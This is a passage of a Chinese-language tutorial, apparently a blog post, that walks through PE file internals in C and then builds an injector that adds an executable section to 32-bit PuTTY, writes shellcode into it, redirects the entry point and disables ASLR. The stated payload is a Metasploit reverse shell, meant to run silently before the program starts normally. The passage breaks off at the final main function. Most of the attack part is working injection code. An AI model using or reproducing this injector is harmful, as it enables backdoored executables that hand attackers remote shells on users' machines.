PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;	// DOS头
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// NT头，DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// 文件头，NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;	// 可选PE头
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);	// 节区头数组
if (ppSectionHeader == NULL) {
    printf("内存分配失败！");
    return NULL;
}
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);	// SizeOfOptionalHeader指定了可选PE头的大小，第一个节区头在可选PE头后面
if (pFileHeader->NumberOfSections > 1) {
    for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
        ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);	// 每个节区头大小是固定的，所以+1就是下一个节区头
    }
}
  1. 新建一块区域用于存放拉伸后的PE文件
// 新建一块区域用于存放拉伸后的PE文件
char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);	// 可选PE头中的SizeOfImage成员用于表示PE文件在内存中的总大小
if (imageBuffer == NULL) {
printf("内存分配失败！");
return NULL;
}
memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);
  1. 拉伸
// DOS头到最后一个节区头部分不需要拉伸，所以直接拷贝过来
memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);

// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置，然后拷贝到imageBuffer的VirtualAddress处
// 节区头中的PointerToRawData成员表示该节区数据在文件中的偏移量，所以fileBuffer + PointerToRawData就是该节区在文件中的起始位置
// 节区头中的VirtualAddress成员表示该节区数据在内存中的偏移量，所以imageBuffer + VirtualAddress就是该节区在内存中的起始位置
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
}

压缩

​ 模拟PE文件在内存中的状态还原到硬盘中的过程。

char* imageBuffertoFileBuffer(char *imageBuffer) {
	// 解析PE文件所有头部和节区头
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);	// SizeOfOptionalHeader指定了可选PE头的大小，第一个节区头在可选PE头后面
	if (pFileHeader->NumberOfSections > 1) {
		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
			ppSectionHeader[i] = ppSectionHeader[0] + i;
		}
	}

	// 新建一块内存空间用于存放压缩后的PE文件数据
	PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
	unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
	char* fileBuffer = (char*)malloc(fileBufferSize);
	if (fileBuffer == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	memset(fileBuffer, 0, fileBufferSize);

	// 拷贝PE头部和节区头
	memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);

	// 拷贝节区
	for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
		memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
	}


	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
	fwrite(fileBuffer, fileBufferSize, 1, pf);
	fclose(pf);
	return fileBuffer;
}

代码详解

  1. 解析PE文件结构部分和拉伸过程基本一直，只是这次强制转换类型的数据变成了imageBase。
// 解析PE文件所有头部和节区头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)(pOptionalHeader + 1);
if (pFileHeader->NumberOfSections > 1) {
    for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    	ppSectionHeader[i] = ppSectionHeader[0] + i;
    }
}
  1. 新建一块内存用于存放压缩后的PE文件。
// 新建一块内存空间用于存放压缩后的PE文件数据
// fileBuffer内存大小通过最后一个节区头中的PointerToRawData（节在文件中的偏移量）和SizeOfRawData（在文件中对齐后的尺寸）相加得到。
PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
char* fileBuffer = (char*)malloc(fileBufferSize);
if (fileBuffer == NULL) {
    printf("内存分配失败！");
    return NULL;
}
memset(fileBuffer, 0, fileBufferSize);
  1. 压缩过程
// 拷贝PE头部和节区头
memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);

// 拷贝节区
for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
	memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
}

完整代码

​ 最后通过main函数调用拉伸和压缩函数，完成我们“复制”的过程。最后生成的1.exe，我们打开它能够正常运行，那就说明成功了。需要注意的是，这段代码仅支持拉伸和压缩32位的PE文件，因为里面使用到涉及位数的结构体都使用了32位。

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
char* fileBuffertoImageBuffer(char* fileBuffer);
char* imageBuffertoFileBuffer(char* imageBuffer);

int main(int argc, char* argv[]) {
	char *fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");	// 读取PE文件
	char *imageBuffer = fileBuffertoImageBuffer(fileBuffer);	// 拉伸

	char *newFileBuffer = imageBuffertoFileBuffer(imageBuffer);	// 压缩

	free(fileBuffer);
	free(newFileBuffer);
	free(imageBuffer);
	return 0;
}

char* readFile(const char* fileName) {
	// 打开文件
	FILE *pf = fopen(fileName, "rb");
	if (pf == NULL) {
		printf("文件打开失败！");
		return NULL;
	}

	// 获取文件大小
	unsigned int fileSize = 0;
	fseek(pf, 0, SEEK_END);
	fileSize = ftell(pf);
	fseek(pf, 0, SEEK_SET);

	// 分配内存并初始化
	char* fileBuffer = (char*)malloc(fileSize);
	if (fileBuffer == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	memset(fileBuffer, 0, fileSize);
	
	// 读文件
	fread(fileBuffer, fileSize, 1, pf);
	
	fclose(pf);
	return fileBuffer;
}

char* fileBuffertoImageBuffer(char *fileBuffer) {
	// 解析PE文件
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
	if (ppSectionHeader == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
	if (pFileHeader->NumberOfSections > 1) {
		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
		}
	}


	// 新建一块区域用于存放拉伸后的PE文件
	char* imageBuffer = (char*)malloc(pOptionalHeader->SizeOfImage);
	if (imageBuffer == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	memset(imageBuffer, 0, pOptionalHeader->SizeOfImage);


	// 拉伸
	// DOS头到最后一个节区头部分不需要拉伸，所以直接拷贝过来
	memcpy(imageBuffer, fileBuffer, pOptionalHeader->SizeOfHeaders);

	// 根据节区头中的PointerToRawData找到对应节区在fileBuffer中的位置，然后拷贝到imageBuffer的VirtualAddress处
	for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
		printf("%p\n", (ppSectionHeader[i]->VirtualAddress));
		memcpy((imageBuffer + ppSectionHeader[i]->VirtualAddress), (fileBuffer + ppSectionHeader[i]->PointerToRawData), ppSectionHeader[i]->Misc.VirtualSize);
	}
	
	return imageBuffer;
}

char* imageBuffertoFileBuffer(char *imageBuffer) {
	// 解析PE文件所有头部和节区头
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imageBuffer;
	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(imageBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);;
	if (pFileHeader->NumberOfSections > 1) {
		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
			ppSectionHeader[i] = ppSectionHeader[0] + i;
		}
	}

	// 新建一块内存空间用于存放压缩后的PE文件数据
	PIMAGE_SECTION_HEADER lastSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
	unsigned int fileBufferSize = lastSectionHeader->PointerToRawData + lastSectionHeader->SizeOfRawData;
	char* fileBuffer = (char*)malloc(fileBufferSize);
	if (fileBuffer == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	memset(fileBuffer, 0, fileBufferSize);

	// 拷贝PE头部和节区头
	memcpy(fileBuffer, imageBuffer, pOptionalHeader->SizeOfHeaders);

	// 拷贝节区
	for (int i = 0; i < pFileHeader->NumberOfSections; ++i) {
		memcpy((fileBuffer + ppSectionHeader[i]->PointerToRawData), (imageBuffer + ppSectionHeader[i]->VirtualAddress), ppSectionHeader[i]->Misc.VirtualSize);
	}


	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
	fwrite(fileBuffer, fileBufferSize, 1, pf);
	fclose(pf);
	return fileBuffer;
}

往PE文件中添加恶意代码

​ 练习PE文件结构其实还有其他更加有趣的实验，我们已经学习到PE文件的可选PE头结构体中有一个AddressOfEntryPoint成员，用于指定程序最先执行的代码起始地址，那我们往程序中注入恶意代码，然后修改AddressOfEntryPoint指向我们的恶意代码，那么程序在运行时是不是就执行了我们的恶意代码呢？为了更加无感执行，我们执行完恶意代码后再跳转回原来的AddressOfEntryPoint执行，那程序就能在执行恶意代码的基础上，正常的运行程序了。本文的实验程序是32位putty，下载地址：https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

注入恶意代码

​ 首先我们需要考虑的就是怎么往PE文件中注入恶意代码，这里就需要用到前面学习到的节区了。通常PE文件会把机器码指令存放在.text节中，那么我们同样可以添加恶意代码机器码到节区中。

​ 其实有几种方式注入：

  1. 新增节区存放恶意代码机器码指令（需要保证节区有执行权限，当节区的Characteristics中IMAGE_SCN_MEM_EXECUTE位置为1时，该节区有执行权限）。
  2. 扩大节区存放恶意代码机器码指令。
  3. 合并节区存放恶意代码机器码指令。

​ 本文先以新增节区的方式讲解，其他方式后续有机会再写。

新增节区

需要改动的成员

​ 通过前面学习的PE结构我们可以知道，有些成员之间是相互有关联的，那么我们改动一个地方之后，可能另外一个地方也需要一起改动，这样才能保证PE文件能够被正常运行。通过新增节区的方式，我们需要改动的有以下几个地方：

  1. 文件头需要修改的成员
    • NumberOfSections // PE文件中存在的节的总数
  2. 可选PE头需要修改的成员
    • SizeOfImage // 内存中整个PE文件的映射的尺寸，可以比实际的值大，但必须是SectionAlignment的整数倍
  3. 新增的节区头中需要修改的成员
    • Name // 节区名称
    • Misc.VirtualSize // 节区的真实尺寸，是该节在没有对齐前的真实尺寸
    • VirtualAddress // 节区的 RVA 地址（在内存中的偏移地址）
    • SizeOfRawData // 节区文件中对齐后的尺寸
    • PointerToRawData // 节区在文件中的偏移量
    • Characteristics // 节区的属性如可读，可写，可执行等

步骤

  1. 检查空间

​ 在新增节区之前，需要检查是否有足够的空间添加节区头。我们知道最后一个节区头与第一个节区之间是有一块空闲空间的，通常编译器生成的PE文件都会有这样一块空间，我们需要做的就是判断这块空闲空间是否足够存放两个节区头，也就是80个字节（一个节区头40个字节）。

​ 那么可能还有个疑问，为什么要检查两个节区头大小，不是只新增一个节区头吗？其实这是为了兼容所有的操作系统，部分操作系统遍历节区头会通过以一个全为0x00的节区头作为结尾，类似于C语言中字符串结束符'\0'，我们要兼容这种情况就必须要预留出一个空白的节区头（值得注意的是，这并不是必须的，只有在存在这种情况的操作系统上运行才需要这么做，貌似现在大部分操作系统都不需要这么做了，这个没有具体深究过）。

​ 除了检查是否有足够的空间外，还需要检查这块空间里是否有编译器留下的一些数据（非0x00一般就是编译器留下的数据），可以参考旧版本的notepad.exe，它的这块空闲区域就存放了一些数据。

​ 当遇到空闲区域有填充数据的时候，还可以尝试把整个NT头和节区头上移，将DOS存根（DOS存根可有可无）覆盖，通过这种方式来获取添加节区头的空间。为啥不把节区数据往下移动呢？因为移动后节区的文件偏移、内存偏移都改变了，你需要修改所有的节区头，这样很麻烦。通常几种方式就能够解决大部分的环境了。

  1. 新增节区头并完善新节区头中的数据

​ 这部分稍微复杂一点点，需要计算一下新节区的文件偏移、内存偏移等。这部分的思路是，复制上一个节区头到新节区头位置，然后修改部分值。

​ 这里我们可以通过获取新增节区头的上一个节区头结构体指针，然后+1得到新增节区头的首地址。然后获取新增节区头的上一个节区头在文件中的偏移量（VirtualAddress）加上fileBuffer，就得到需要复制的开始地址，然后用这个开始地址+新增节区头的上一个节区头在文件中对齐后的尺寸（SizeOfRawData）就得到需要复制的结束地址。得到这三个数据后，通过memcpy进行拷贝即可。

​ 之后就是修改新增节区的一些成员值：

  • Name // 节区名称

    • 直接通过memcpy拷贝一个小于8个字节的字符串即可
    • memcpy(newPSectionHeader->Name, ".gcker", 7);

  • Misc.VirtualSize // 节区的真实尺寸，是该节在没有对齐前的真实尺寸

    • 计算出需要添加的机器码指令长度后赋值给它即可

  • VirtualAddress // 节区的 RVA 地址（在内存中的偏移地址）

    • 新增节区头的上一个节区头结构体的VirtualAddress + 上一个节区内存对齐后的尺寸
    • 首先需要判断上一个节区的Misc.VirtualSize和SizeOfRawData哪个大，取大的来做下面的运算
    • 上一个节区内存对齐后的尺寸 = ((max(上一个节区的Misc.VirtualSize,上一个节区的SizeOfRawData) - 1) / SectionAlignment + 1) * SectionAlignment
    • 上面公式中的(上一个节区的Misc.VirtualSize - 1) / SectionAlignment + 1其实是参考https://blog.csdn.net/robinfoxnan/article/details/113634301的

  • SizeOfRawData // 节区文件中对齐后的尺寸

    • ((机器码指令长度 - 1) / FileAlignment + 1) * FileAlignment
    • 依旧是参考上面的向上取整的公式，计算文件对齐后尺寸

  • PointerToRawData // 节区在文件中的偏移量

    • 节区在文件中的偏移量 = 上一个节区文件偏移量(PointerToRawData) + 上一个节区文件对齐后尺寸(SizeOfRawData)

  • Characteristics // 节区的属性如可读，可写，可执行等

    • 由于执行权限是0x20000000，所以只需要跟0x20000000相与就行了
    • Characteristics |= 0x20000000
  1. 修改PE结构其他成员
  • 文件头的NumberOfSections：节区个数，由于我们新增一个节区，所有加一就行了
    • NumberOfSections += 1
  • 可选PE头的SizeOfImage：内存中整个PE文件尺寸
    • 只需要计算原有SizeOfImage + 机器码指令长度的内存对齐后尺寸就行，依旧可以使用向上取整的公式
    • (SizeOfImage + shellcodeLength - 1) / SectionAlignment + 1
  1. 新增节区数据

​ 到这一步就是新增我们存放机器码指令的地方了，我们可以直接用realloc来增大。增大后的长度就是：原有长度+新增节区文件对齐后尺寸

代码实现

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
int addSection(char* fileBuffer, unsigned long shellcodeLength);

int main(int argc, char* argv[]) {
	char *fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");	// 读取PE文件
	addSection(fileBuffer, 10);
	return 0;
}

char* readFile(const char* fileName) {
	// 打开文件
	FILE *pf = fopen(fileName, "rb");
	if (pf == NULL) {
		printf("文件打开失败！");
		return NULL;
	}

	// 获取文件大小
	unsigned int fileSize = 0;
	fseek(pf, 0, SEEK_END);
	fileSize = ftell(pf);
	fseek(pf, 0, SEEK_SET);

	// 分配内存并初始化
	char* fileBuffer = (char*)malloc(fileSize);
	if (fileBuffer == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	memset(fileBuffer, 0, fileSize);
	
	// 读文件
	fread(fileBuffer, fileSize, 1, pf);
	
	fclose(pf);
	return fileBuffer;
}

int addSection(char* fileBuffer, unsigned long shellcodeLength) {
	// 解析PE文件
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
	if (ppSectionHeader == NULL) {
		printf("内存分配失败！");
		return -1;
	}
	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
	if (pFileHeader->NumberOfSections > 1) {
		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
		}
	}




	// 检查空间阶段
	// 判断是否有足够空间添加节区头
	char *start = (char*)(ppSectionHeader[pFileHeader->NumberOfSections - 1] + 1);
	char *end = fileBuffer + ppSectionHeader[0]->PointerToRawData;
	if (end - start >= 80) {
		printf("有足够的空间添加节区头，共：%d个字节\n", end - start);
	}

	// 判断需要被填充为新节区头的部分是否存在其他数据
	for (int i = 0; i < 40; ++i) {
		if (start[i] != '\x00') {
			printf("节区末尾空间不足，需要上移NT头！");
			return -1;
		}
	}




	// 新增节区头并完善新节区头中的数据阶段
	// 新增节区头并设置其属性
	PIMAGE_SECTION_HEADER newPSectionHeader = (PIMAGE_SECTION_HEADER)start;
	PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];

	// 将上一个节区头拷贝下来
	memcpy(newPSectionHeader, lastPSectionHeader, IMAGE_SIZEOF_SECTION_HEADER);
	
	// 设置节区名
	memcpy(newPSectionHeader->Name, ".gcker", 7);
	
	// 设置节区数据实际长度
	newPSectionHeader->Misc.VirtualSize = shellcodeLength;

	// 设置节区在内存中的偏移量
	unsigned int size = 0;
	if (lastPSectionHeader->Misc.VirtualSize < lastPSectionHeader->SizeOfRawData) {
		size = (lastPSectionHeader->SizeOfRawData - 1) / pOptionalHeader->SectionAlignment + 1;
	}
	else {
		size = (lastPSectionHeader->Misc.VirtualSize - 1) / pOptionalHeader->SectionAlignment + 1;
	}
	newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress;

	// 计算在文件中对齐后的尺寸
	newPSectionHeader->SizeOfRawData = ((shellcodeLength - 1) / pOptionalHeader->FileAlignment + 1) * pOptionalHeader->FileAlignment;

	// 计算节区在文件中的偏移量
	newPSectionHeader->PointerToRawData = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;

	// 给节区添加执行权限
	newPSectionHeader->Characteristics |= 0x20000000;

	
	

	// 修改PE结构其他成员阶段
	// 设置节区头数量
	pFileHeader->NumberOfSections += 1;

	// 设置内存中整个PE文件尺寸，必须是SectionAlignment的整数倍
	pOptionalHeader->SizeOfImage = ((pOptionalHeader->SizeOfImage + shellcodeLength - 1) / pOptionalHeader->SectionAlignment + 1) * pOptionalHeader->SectionAlignment;
	



	// 新增节区数据
	// 新增节区数据，用于存放机器码指令
	unsigned int oldFileBufferSize = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
	fileBuffer = (char*)realloc(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData);
	memset(fileBuffer + oldFileBufferSize, 0, newPSectionHeader->SizeOfRawData);

	
	// 写入文件
	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
	fwrite(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData, 1, pf);
	return 0;
}

添加恶意代码并执行

​ 重点来了，接下来我们就需要添加恶意代码并修改AddressOfEntryPoint执行恶意代码。总体的思路如下：

  1. MSF生成shellcode
  2. 将shellcode插入新增的节区中
  3. 在shellcode后面添加汇编call硬编码指令调用shellcode
  4. 修改AddressOfEntryPoint
  5. 修改DllCharacteristics，禁用随机基址

函数代码

void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer) {
	// 解析PE文件
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
	if (ppSectionHeader == NULL) {
		printf("内存分配失败！");
		return;
	}
	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
	if (pFileHeader->NumberOfSections > 1) {
		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
		}
	}
	PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];

	// 插入shellcode
	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
	char newOpcode[] = "\xe8\x00\x00\x00\x00";
	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength, newOpcode, sizeof(newOpcode));
	unsigned int newOpcodeLength = sizeof(newOpcode) - 1;

	// 添加call指令调用shellcode
	unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));

	// 修改OEP
	unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
	pOptionalHeader->AddressOfEntryPoint = newOEP;

	// 关闭随机基址
	pOptionalHeader->DllCharacteristics &= 0xffbf;

	// 写入文件
	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
	fwrite(fileBuffer, lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData, 1, pf);
	return;
}

代码详解

MSF生成shellcode

​ 这个我就不赘述啦~各位师傅估计倒着写都比我溜，我这里实验是生成windows的终端反弹shell。

shellcode插入新增的节区

​ 插入其实就很简单了，我们通过memcpy进行拷贝，拷贝到fileBuffer + 新增节区头的PointerToRawData位置。

// 插入shellcode
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);

添加call硬编码指令调用shellcode

​ 我们在节区的shellcode后面再加一句call指令，用来调用shellcode。call指令是汇编指令，其作用是调用一个过程，指挥处理器从新的内存地址开始执行，类似于编程中的调用函数，使用格式是call <内存地址>。这里最好在shellcode后面相隔几个字节的地方添加call指令，否则call指令的硬编码可能会和shellcode末尾的指令混合在一起形成新的指令，这样意思就错乱了。

​ 需要注意的是，call指令后面跟着的内存地址并不是直接的内存地址，是需要通过一定计算后的，大概意思就是说：假设现在需要通过call指令让CPU到内存地址为0x12345678这个地方执行，那么调用的时候就不是简单的call 0x12345678，具体计算方法如下：

  1. 跳转的真实地址为0x12345678，我们设为X
  2. call指令的下一条指令的内存地址，设为Y
  3. call指令后面跟着的地址Z = X - Y
  4. call的机器码是E8，结合上面计算得到的结果，完整的硬编码就是E8 <Z>，如Z是0x32164587，则硬编码就是E8 0x32165487

​ 第一个跳转的真实地址 = 新增节区的内存偏移（VirtualAddress） + 基址（ImageBase）。

​ 第二个可能读起来有点懵，用下图解释应该就很清晰了：

​ 在代码中，我们可以通过公式计算：新增节区的内存偏移（VirtualAddress）+ shellcode长度 + 几个字节（防止call指令的硬编码和shellcode末尾的指令混合在一起形成新的指令）+ 5（这个5是call指令的长度，加了5就是下一条指令的地址了）+ 基址（ImageBase）。

​ 这里注意最后要加上基址，因为程序真实加载到内存中，地址是基址+内存偏移的。

​ 知道这X和Y后，只需要做个减法就得到call指令的跳转地址了。注意在代码中我没有加上面公式中的“几个字节”，是因为我在shellcode数组后面已经加了这几个字节，这样shellcodeLength变量就包含了这几个字节，减少代码长度。

// 添加call指令调用shellcode
unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);

// 注意下面有个+1，是因为我们要赋值到call的后面，不加1就会把call硬编码给覆盖了。
memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));

修改AddressOfEntryPoint

​ 注意AddressOfEntryPoint填的是内存偏移，不需要加上基址，这里我们直接修改AddressOfEntryPoint为上面新增的call指令的内存偏移就行，这样程序打开后就会先执行这条call指令调用shellcode了。

// 修改OEP
// call指令内存偏移 = 新增节区内存偏移 + shellcode长度得到
unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
pOptionalHeader->AddressOfEntryPoint = newOEP;

禁用随机基址

​ 随机基址可以理解为：程序每次加载都不是以ImageBase作为基址，而是随机生成一个，主要用于防止程序被破解。PE文件结构中，当可选PE头的DllCharacteristics成员的高7位为1时，开启随机基址，要关闭就把高7位置0就行。

// 关闭随机基址
pOptionalHeader->DllCharacteristics &= 0xffbf;

完整代码

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
char* readFile(const char* fileName);
char* addSection(char* fileBuffer, unsigned long shellcodeLength);
void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer);

int main(int argc, char* argv[]) {
